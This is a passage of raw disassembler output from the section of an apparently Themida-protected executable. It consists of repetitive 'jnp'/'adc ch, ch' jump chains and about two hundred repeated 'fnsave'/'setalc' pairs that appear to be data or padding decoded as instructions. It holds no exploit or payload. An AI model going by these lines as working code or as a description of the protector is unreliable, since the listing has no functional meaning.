loc_613ECB: ; CODE XREF: Themida_:loc_613EA7j
jnp short loc_613EEF
adc ch, ch
loc_613ECF: ; CODE XREF: Themida_:loc_613EABj
jnp short loc_613EF3
adc ch, ch
loc_613ED3: ; CODE XREF: Themida_:loc_613EAFj
jnp short loc_613EF7
adc ch, ch
loc_613ED7: ; CODE XREF: Themida_:loc_613EB3j
jnp short loc_613EFB
adc ch, ch
loc_613EDB: ; CODE XREF: Themida_:loc_613EB7j
jnp short loc_613EFF
adc ch, ch
loc_613EDF: ; CODE XREF: Themida_:loc_613EBBj
jnp short loc_613F03
adc ch, ch
loc_613EE3: ; CODE XREF: Themida_:loc_613EBFj
jnp short loc_613F07
adc ch, ch
loc_613EE7: ; CODE XREF: Themida_:loc_613EC3j
jnp short loc_613F0B
adc ch, ch
loc_613EEB: ; CODE XREF: Themida_:loc_613EC7j
jnp short loc_613F0F
adc ch, ch
loc_613EEF: ; CODE XREF: Themida_:loc_613ECBj
jnp short loc_613F13
adc ch, ch
loc_613EF3: ; CODE XREF: Themida_:loc_613ECFj
jnp short loc_613F17
adc ch, ch
loc_613EF7: ; CODE XREF: Themida_:loc_613ED3j
jnp short loc_613F1B
adc ch, ch
loc_613EFB: ; CODE XREF: Themida_:loc_613ED7j
jnp short loc_613F1F
adc ch, ch
loc_613EFF: ; CODE XREF: Themida_:loc_613EDBj
jnp short loc_613F23
adc ch, ch
loc_613F03: ; CODE XREF: Themida_:loc_613EDFj
jnp short loc_613F27
adc ch, ch
loc_613F07: ; CODE XREF: Themida_:loc_613EE3j
jnp short loc_613F2B
adc ch, ch
loc_613F0B: ; CODE XREF: Themida_:loc_613EE7j
jnp short loc_613F2F
adc ch, ch
loc_613F0F: ; CODE XREF: Themida_:loc_613EEBj
jnp short loc_613F33
adc ch, ch
loc_613F13: ; CODE XREF: Themida_:loc_613EEFj
jnp short loc_613F37
adc ch, ch
loc_613F17: ; CODE XREF: Themida_:loc_613EF3j
jnp short loc_613F3B
adc ch, ch
loc_613F1B: ; CODE XREF: Themida_:loc_613EF7j
jnp short loc_613F3F
adc ch, ch
loc_613F1F: ; CODE XREF: Themida_:loc_613EFBj
jnp short loc_613F43
adc ch, ch
loc_613F23: ; CODE XREF: Themida_:loc_613EFFj
jnp short loc_613F47
adc ch, ch
loc_613F27: ; CODE XREF: Themida_:loc_613F03j
jnp short loc_613F4B
adc ch, ch
loc_613F2B: ; CODE XREF: Themida_:loc_613F07j
jnp short loc_613F4F
adc ch, ch
loc_613F2F: ; CODE XREF: Themida_:loc_613F0Bj
jnp short loc_613F53
adc ch, ch
loc_613F33: ; CODE XREF: Themida_:loc_613F0Fj
jnp short loc_613F57
adc ch, ch
loc_613F37: ; CODE XREF: Themida_:loc_613F13j
jnp short loc_613F5B
adc ch, ch
loc_613F3B: ; CODE XREF: Themida_:loc_613F17j
jnp short loc_613F5F
adc ch, ch
loc_613F3F: ; CODE XREF: Themida_:loc_613F1Bj
jnp short loc_613F63
adc ch, ch
loc_613F43: ; CODE XREF: Themida_:loc_613F1Fj
jnp short loc_613F67
adc ch, ch
loc_613F47: ; CODE XREF: Themida_:loc_613F23j
jnp short loc_613F6B
adc ch, ch
loc_613F4B: ; CODE XREF: Themida_:loc_613F27j
jnp short loc_613F6F
adc ch, ch
loc_613F4F: ; CODE XREF: Themida_:loc_613F2Bj
jnp short loc_613F73
adc ch, ch
loc_613F53: ; CODE XREF: Themida_:loc_613F2Fj
jnp short loc_613F77
adc ch, ch
loc_613F57: ; CODE XREF: Themida_:loc_613F33j
jnp short loc_613F7B
adc ch, ch
loc_613F5B: ; CODE XREF: Themida_:loc_613F37j
jnp short loc_613F7F
adc ch, ch
loc_613F5F: ; CODE XREF: Themida_:loc_613F3Bj
jnp short loc_613F83
adc ch, ch
loc_613F63: ; CODE XREF: Themida_:loc_613F3Fj
jnp short loc_613F87
adc ch, ch
loc_613F67: ; CODE XREF: Themida_:loc_613F43j
jnp short loc_613F8B
adc ch, ch
loc_613F6B: ; CODE XREF: Themida_:loc_613F47j
jnp short loc_613F8F
adc ch, ch
loc_613F6F: ; CODE XREF: Themida_:loc_613F4Bj
jnp short loc_613F93
adc ch, ch
loc_613F73: ; CODE XREF: Themida_:loc_613F4Fj
jnp short loc_613F97
adc ch, ch
loc_613F77: ; CODE XREF: Themida_:loc_613F53j
jnp short loc_613F9B
adc ch, ch
loc_613F7B: ; CODE XREF: Themida_:loc_613F57j
jnp short loc_613F9F
adc ch, ch
loc_613F7F: ; CODE XREF: Themida_:loc_613F5Bj
jnp short loc_613FA3
adc ch, ch
loc_613F83: ; CODE XREF: Themida_:loc_613F5Fj
jnp short loc_613FA7
adc ch, ch
loc_613F87: ; CODE XREF: Themida_:loc_613F63j
jnp short loc_613FAB
adc ch, ch
loc_613F8B: ; CODE XREF: Themida_:loc_613F67j
jnp short loc_613FAF
adc ch, ch
loc_613F8F: ; CODE XREF: Themida_:loc_613F6Bj
jnp short loc_613FB3
adc ch, ch
loc_613F93: ; CODE XREF: Themida_:loc_613F6Fj
jnp short loc_613FB7
adc ch, ch
loc_613F97: ; CODE XREF: Themida_:loc_613F73j
jnp short loc_613FBB
adc ch, ch
loc_613F9B: ; CODE XREF: Themida_:loc_613F77j
jnp short loc_613FBF
adc ch, ch
loc_613F9F: ; CODE XREF: Themida_:loc_613F7Bj
jnp short loc_613FC3
adc ch, ch
loc_613FA3: ; CODE XREF: Themida_:loc_613F7Fj
jnp short loc_613FC7
adc ch, ch
loc_613FA7: ; CODE XREF: Themida_:loc_613F83j
jnp short loc_613FCB
adc ch, ch
loc_613FAB: ; CODE XREF: Themida_:loc_613F87j
jnp short loc_613FCF
adc ch, ch
loc_613FAF: ; CODE XREF: Themida_:loc_613F8Bj
jnp short loc_613FD3
adc ch, ch
loc_613FB3: ; CODE XREF: Themida_:loc_613F8Fj
jnp short loc_613FD7
adc ch, ch
loc_613FB7: ; CODE XREF: Themida_:loc_613F93j
jnp short loc_613FDB
adc ch, ch
loc_613FBB: ; CODE XREF: Themida_:loc_613F97j
jnp short loc_613FDF
adc ch, ch
loc_613FBF: ; CODE XREF: Themida_:loc_613F9Bj
jnp short loc_613FE3
adc ch, ch
loc_613FC3: ; CODE XREF: Themida_:loc_613F9Fj
jnp short loc_613FE7
adc ch, ch
loc_613FC7: ; CODE XREF: Themida_:loc_613FA3j
jnp short loc_613FEB
adc ch, ch
loc_613FCB: ; CODE XREF: Themida_:loc_613FA7j
jnp short loc_613FEF
adc ch, ch
loc_613FCF: ; CODE XREF: Themida_:loc_613FABj
jnp short loc_613FF3
adc ch, ch
loc_613FD3: ; CODE XREF: Themida_:loc_613FAFj
jnp short loc_613FF7
adc ch, ch
loc_613FD7: ; CODE XREF: Themida_:loc_613FB3j
jnp short loc_613FFB
adc ch, ch
loc_613FDB: ; CODE XREF: Themida_:loc_613FB7j
jnp short loc_613FFF
adc ch, ch
loc_613FDF: ; CODE XREF: Themida_:loc_613FBBj
jnp short loc_614003
adc ch, ch
loc_613FE3: ; CODE XREF: Themida_:loc_613FBFj
jnp short loc_614007
adc ch, ch
loc_613FE7: ; CODE XREF: Themida_:loc_613FC3j
jnp short loc_61400B
adc ch, ch
loc_613FEB: ; CODE XREF: Themida_:loc_613FC7j
jnp short loc_61400F
adc ch, ch
loc_613FEF: ; CODE XREF: Themida_:loc_613FCBj
jnp short loc_614013
adc ch, ch
loc_613FF3: ; CODE XREF: Themida_:loc_613FCFj
jnp short loc_614017
adc ch, ch
loc_613FF7: ; CODE XREF: Themida_:loc_613FD3j
jnp short loc_61401B
adc ch, ch
loc_613FFB: ; CODE XREF: Themida_:loc_613FD7j
jnp short loc_61401F
adc ch, ch
loc_613FFF: ; CODE XREF: Themida_:loc_613FDBj
jnp short loc_614023
adc ch, ch
loc_614003: ; CODE XREF: Themida_:loc_613FDFj
jnp short loc_614027
adc ch, ch
loc_614007: ; CODE XREF: Themida_:loc_613FE3j
jnp short loc_61402B
adc ch, ch
loc_61400B: ; CODE XREF: Themida_:loc_613FE7j
jnp short loc_61402F
adc ch, ch
loc_61400F: ; CODE XREF: Themida_:loc_613FEBj
jnp short loc_614033
adc ch, ch
loc_614013: ; CODE XREF: Themida_:loc_613FEFj
jnp short loc_614037
adc ch, ch
loc_614017: ; CODE XREF: Themida_:loc_613FF3j
jnp short loc_61403B
adc ch, ch
loc_61401B: ; CODE XREF: Themida_:loc_613FF7j
jnp short loc_61403F
adc ch, ch
loc_61401F: ; CODE XREF: Themida_:loc_613FFBj
jnp short loc_614043
adc ch, ch
loc_614023: ; CODE XREF: Themida_:loc_613FFFj
jnp short loc_614047
adc ch, ch
loc_614027: ; CODE XREF: Themida_:loc_614003j
jnp short loc_61404B
adc ch, ch
loc_61402B: ; CODE XREF: Themida_:loc_614007j
jnp short loc_61404F
adc ch, ch
loc_61402F: ; CODE XREF: Themida_:loc_61400Bj
jnp short loc_614053
adc ch, ch
loc_614033: ; CODE XREF: Themida_:loc_61400Fj
jnp short loc_614057
adc ch, ch
loc_614037: ; CODE XREF: Themida_:loc_614013j
jnp short loc_61405B
adc ch, ch
loc_61403B: ; CODE XREF: Themida_:loc_614017j
jnp short loc_61405F
adc ch, ch
loc_61403F: ; CODE XREF: Themida_:loc_61401Bj
jnp short loc_614063
adc ch, ch
loc_614043: ; CODE XREF: Themida_:loc_61401Fj
jnp short loc_614067
adc ch, ch
loc_614047: ; CODE XREF: Themida_:loc_614023j
jnp short loc_61406B
adc ch, ch
loc_61404B: ; CODE XREF: Themida_:loc_614027j
jnp short loc_61406F
adc ch, ch
loc_61404F: ; CODE XREF: Themida_:loc_61402Bj
jnp short loc_614073
adc ch, ch
loc_614053: ; CODE XREF: Themida_:loc_61402Fj
jnp short loc_614077
adc ch, ch
loc_614057: ; CODE XREF: Themida_:loc_614033j
jnp short loc_61407B
adc ch, ch
loc_61405B: ; CODE XREF: Themida_:loc_614037j
jnp short loc_61407F
adc ch, ch
loc_61405F: ; CODE XREF: Themida_:loc_61403Bj
jnp short loc_614083
adc ch, ch
loc_614063: ; CODE XREF: Themida_:loc_61403Fj
jnp short loc_614087
adc ch, ch
loc_614067: ; CODE XREF: Themida_:loc_614043j
jnp short loc_61408B
adc ch, ch
loc_61406B: ; CODE XREF: Themida_:loc_614047j
jnp short loc_61408F
adc ch, ch
loc_61406F: ; CODE XREF: Themida_:loc_61404Bj
jnp short loc_614093
adc ch, ch
loc_614073: ; CODE XREF: Themida_:loc_61404Fj
jnp short loc_614097
adc ch, ch
loc_614077: ; CODE XREF: Themida_:loc_614053j
jnp short loc_61409B
adc ch, ch
loc_61407B: ; CODE XREF: Themida_:loc_614057j
jnp short loc_61409F
adc ch, ch
loc_61407F: ; CODE XREF: Themida_:loc_61405Bj
jnp short loc_6140A3
adc ch, ch
loc_614083: ; CODE XREF: Themida_:loc_61405Fj
jnp short loc_6140A7
adc ch, ch
loc_614087: ; CODE XREF: Themida_:loc_614063j
jnp short loc_6140AB
adc ch, ch
loc_61408B: ; CODE XREF: Themida_:loc_614067j
jnp short loc_6140AF
adc ch, ch
loc_61408F: ; CODE XREF: Themida_:loc_61406Bj
jnp short loc_6140B3
adc ch, ch
loc_614093: ; CODE XREF: Themida_:loc_61406Fj
jnp short loc_6140B7
adc ch, ch
loc_614097: ; CODE XREF: Themida_:loc_614073j
jnp short loc_6140BB
adc ch, ch
loc_61409B: ; CODE XREF: Themida_:loc_614077j
jnp short loc_6140BF
adc ch, ch
loc_61409F: ; CODE XREF: Themida_:loc_61407Bj
jnp short loc_6140C3
adc ch, ch
loc_6140A3: ; CODE XREF: Themida_:loc_61407Fj
jnp short loc_6140C7
adc ch, ch
loc_6140A7: ; CODE XREF: Themida_:loc_614083j
jnp short loc_6140CB
adc ch, ch
loc_6140AB: ; CODE XREF: Themida_:loc_614087j
jnp short loc_6140CF
adc ch, ch
loc_6140AF: ; CODE XREF: Themida_:loc_61408Bj
jnp short loc_6140D3
adc ch, ch
loc_6140B3: ; CODE XREF: Themida_:loc_61408Fj
jnp short loc_6140D7
adc ch, ch
loc_6140B7: ; CODE XREF: Themida_:loc_614093j
jnp short loc_6140DB
adc ch, ch
loc_6140BB: ; CODE XREF: Themida_:loc_614097j
jnp short loc_6140DF
adc ch, ch
loc_6140BF: ; CODE XREF: Themida_:loc_61409Bj
jnp short loc_6140E3
adc ch, ch
loc_6140C3: ; CODE XREF: Themida_:loc_61409Fj
jnp short loc_6140E7
adc ch, ch
loc_6140C7: ; CODE XREF: Themida_:loc_6140A3j
jnp short loc_6140EB
adc ch, ch
loc_6140CB: ; CODE XREF: Themida_:loc_6140A7j
jnp short loc_6140EF
adc ch, ch
loc_6140CF: ; CODE XREF: Themida_:loc_6140ABj
jnp short loc_6140F3
adc ch, ch
loc_6140D3: ; CODE XREF: Themida_:loc_6140AFj
jnp short loc_6140F7
adc ch, ch
loc_6140D7: ; CODE XREF: Themida_:loc_6140B3j
jnp short loc_6140FB
adc ch, ch
loc_6140DB: ; CODE XREF: Themida_:loc_6140B7j
jnp short loc_6140FF
adc ch, ch
loc_6140DF: ; CODE XREF: Themida_:loc_6140BBj
jnp short loc_614103
adc ch, ch
loc_6140E3: ; CODE XREF: Themida_:loc_6140BFj
jnp short loc_614107
adc ch, ch
loc_6140E7: ; CODE XREF: Themida_:loc_6140C3j
jnp short loc_61410B
adc ch, ch
loc_6140EB: ; CODE XREF: Themida_:loc_6140C7j
jnp short loc_61410F
adc ch, ch
loc_6140EF: ; CODE XREF: Themida_:loc_6140CBj
jnp short loc_614113
adc ch, ch
loc_6140F3: ; CODE XREF: Themida_:loc_6140CFj
jnp short loc_614117
adc ch, ch
loc_6140F7: ; CODE XREF: Themida_:loc_6140D3j
jnp short loc_61411B
adc ch, ch
loc_6140FB: ; CODE XREF: Themida_:loc_6140D7j
jnp short loc_61411F
adc ch, ch
loc_6140FF: ; CODE XREF: Themida_:loc_6140DBj
jnp short loc_614123
adc ch, ch
loc_614103: ; CODE XREF: Themida_:loc_6140DFj
jnp short loc_614127
adc ch, ch
loc_614107: ; CODE XREF: Themida_:loc_6140E3j
jnp short loc_61412B
adc ch, ch
loc_61410B: ; CODE XREF: Themida_:loc_6140E7j
jnp short loc_61412F
adc ch, ch
loc_61410F: ; CODE XREF: Themida_:loc_6140EBj
jnp short loc_614133
adc ch, ch
loc_614113: ; CODE XREF: Themida_:loc_6140EFj
jnp short loc_614137
adc ch, ch
loc_614117: ; CODE XREF: Themida_:loc_6140F3j
jnp short loc_61413B
adc ch, ch
loc_61411B: ; CODE XREF: Themida_:loc_6140F7j
jnp short loc_61413F
adc ch, ch
loc_61411F: ; CODE XREF: Themida_:loc_6140FBj
jnp short loc_614143
adc ch, ch
loc_614123: ; CODE XREF: Themida_:loc_6140FFj
jnp short loc_614147
adc ch, ch
loc_614127: ; CODE XREF: Themida_:loc_614103j
jnp short loc_61414B
adc ch, ch
loc_61412B: ; CODE XREF: Themida_:loc_614107j
jnp short loc_61414F
adc ch, ch
loc_61412F: ; CODE XREF: Themida_:loc_61410Bj
jnp short loc_614153
adc ch, ch
loc_614133: ; CODE XREF: Themida_:loc_61410Fj
jnp short loc_614157
adc ch, ch
loc_614137: ; CODE XREF: Themida_:loc_614113j
jnp short loc_61415B
adc ch, ch
loc_61413B: ; CODE XREF: Themida_:loc_614117j
jnp short loc_61415F
adc ch, ch
loc_61413F: ; CODE XREF: Themida_:loc_61411Bj
jnp short loc_614163
adc ch, ch
loc_614143: ; CODE XREF: Themida_:loc_61411Fj
jnp short loc_614167
adc ch, ch
loc_614147: ; CODE XREF: Themida_:loc_614123j
jnp short loc_61416B
adc ch, ch
loc_61414B: ; CODE XREF: Themida_:loc_614127j
jnp short loc_61416F
adc ch, ch
loc_61414F: ; CODE XREF: Themida_:loc_61412Bj
jnp short loc_614173
adc ch, ch
loc_614153: ; CODE XREF: Themida_:loc_61412Fj
jnp short loc_614177
adc ch, ch
loc_614157: ; CODE XREF: Themida_:loc_614133j
jnp short loc_61417B
adc ch, ch
loc_61415B: ; CODE XREF: Themida_:loc_614137j
jnp short loc_61417F
adc ch, ch
loc_61415F: ; CODE XREF: Themida_:loc_61413Bj
jnp short loc_614183
adc ch, ch
loc_614163: ; CODE XREF: Themida_:loc_61413Fj
jnp short loc_614187
adc ch, ch
loc_614167: ; CODE XREF: Themida_:loc_614143j
jnp short loc_61418B
adc ch, ch
loc_61416B: ; CODE XREF: Themida_:loc_614147j
jnp short loc_61418F
adc ch, ch
loc_61416F: ; CODE XREF: Themida_:loc_61414Bj
fnsave byte ptr [ecx+5Fh]
setalc
loc_614173: ; CODE XREF: Themida_:loc_61414Fj
fnsave byte ptr [ecx+5Fh]
setalc
loc_614177: ; CODE XREF: Themida_:loc_614153j
fnsave byte ptr [ecx+5Fh]
setalc
loc_61417B: ; CODE XREF: Themida_:loc_614157j
fnsave byte ptr [ecx+5Fh]
setalc
loc_61417F: ; CODE XREF: Themida_:loc_61415Bj
fnsave byte ptr [ecx+5Fh]
setalc
loc_614183: ; CODE XREF: Themida_:loc_61415Fj
fnsave byte ptr [ecx+5Fh]
setalc
loc_614187: ; CODE XREF: Themida_:loc_614163j
fnsave byte ptr [ecx+5Fh]
setalc
loc_61418B: ; CODE XREF: Themida_:loc_614167j
fnsave byte ptr [ecx+5Fh]
setalc
loc_61418F: ; CODE XREF: Themida_:loc_61416Bj
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
